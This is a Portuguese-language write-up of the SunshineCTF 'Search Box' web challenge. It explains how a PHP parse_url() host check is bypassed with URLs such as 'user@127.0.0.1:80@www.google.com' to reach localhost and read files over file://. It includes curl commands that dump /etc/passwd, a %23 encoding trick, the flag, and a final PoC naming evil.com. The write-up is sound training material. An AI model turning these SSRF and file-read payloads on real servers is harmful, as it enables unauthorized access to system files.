SunshineCtf - Search Box Writeup

"This search engine doesn't look very secure. Or well coded. Or competent in any way shape or form. This should be easy.

Note: flag is in /etc/flag.txt

http://search-box.web1.sunshinectf.org"


Dentro da página tinhas um pequeno input para enviarmos uma request para um site que seria algum "qualquer".



Porém, com alguns pequenos testes acabei percebendo que ele estava apenas aceitando o host como sendo 'www.google.com'. Lógicamente uma das primeiras coisas que me veio na cabeça seria tentar acessar algum arquivo via file://, porem, sem sucesso.


no momento que eu comecei a pensar que o file:// não teria serventia, pensei em fazer o seguinte, juntar o wrapper mais o domínio que havia funcionado:

"get source failed", oops, então quer dizer que o wrapper na verdade funciona, o que não está dando certo é a procura pelo www.google.com nos diretorios, ou seja, aqui temos um filtro de host, e para confirmar isso:


Está sendo usado o parse_url() do php, se fizermos alguns pequenos testes, podemos tirar nossas conclusões:

php > $url = "file://www.google.com";
php > var_dump(parse_url($url));
array(2) {
  ["scheme"]=>
  string(4) "file"
  ["host"]=>
  string(14) "www.google.com"
}

Levando em consideração que o nosso host precisa ser sempre www.google.com, precisamos achar uma forma de conseguir passar uma chamada para algum arquivo interno, ou primeiro, tentar conseguir acessar o localhost.

php > $url = "http://127.0.0.1@www.google.com";
php > var_dump(parse_url($url));
array(3) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(14) "www.google.com"
  ["user"]=>
  string(9) "127.0.0.1"
}

Neste output acima, estamos passando o 127.0.0.1 como user, porem, o curl nao vai encontrar um user de autenticação igual a 127.0.0.1, a url será interpretada corretamente:

Podemos tirar nossas conclusões que, se ele retornou "Source Code", ou estamos em 127.0.0.1 e o nosso bypass funcionou, ou estamos em www.google.com. Para saber isso, podemos tentar pegar algum arquivo interno, como o index.php que existe no webroot.

Eee... não funcionou.

Fazendo algumas rápidas pesquisas e alguns testes, identifiquei um outro bypass, onde passamos um user@127.0.0.1 como usuário mais uma porta de destino,www.google.com continua sendo o host, porem a interpretação do curl acaba desvalorizando isso. Então, o parse_url() praticamente não tem uma serventia de segurança neste código:
php > $url = "http://user@127.0.0.1:80@www.google.com/index.php";
php > var_dump(parse_url($url));
array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(14) "www.google.com"
  ["user"]=>
  string(14) "user@127.0.0.1"
  ["pass"]=>
  string(2) "80"
  ["path"]=>
  string(10) "/index.php"
}

Fiz também um teste local, com um código em /var/www/html/x.php
$ curl -v "http://user@127.0.0.1:80@www.google.com/x.php"
*   Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
* Server auth using Basic with user 'user'
> GET /x.php HTTP/1.1
> Host: 127.0.0.1
> Authorization: Basic dXNlcjo=
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sat, 07 Apr 2018 00:47:05 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 11
< Content-Type: text/html; charset=UTF-8
< 
TEST SSRF
* Connection #0 to host 127.0.0.1 left intact


então fui para a aplicação:


Porém a challenge nos dizia que era necessário pegar a flag em /etc/flag.txt, mas não havia como eu usar o file:// pois nenhum arquivo estava sendo lido, me pareceu estranho isso.


notei que ao final de cada arquivo passado, estava sendo concatenada à request uma /, resolvi testar isso direto pelo curl e comparar os resultados:
$ curl -v "file://user@127.0.0.1:80@www.google.com/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

VS:
$ curl -v "file://user@127.0.0.1:80@www.google.com/etc/passwd/"
* Couldn't open file /etc/passwd/
* Closing connection -1
curl: (37) Couldn't open file /etc/passwd/


Pensei em colocar uma "#" para travar isso, o curl aceitou:
$ curl -v "file://user@127.0.0.1:80@www.google.com/etc/passwd#/"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Mas a aplicação(usando o burp), não aceitou:

Então fiz o simples, o encode de # para ser igual a %23, e funcionou!


Flag: sun{R3quE5t_tyP3S_m4tT3r}
final PoC: file://user@evil.com:80@www.google.com//var/www/html/index.php%23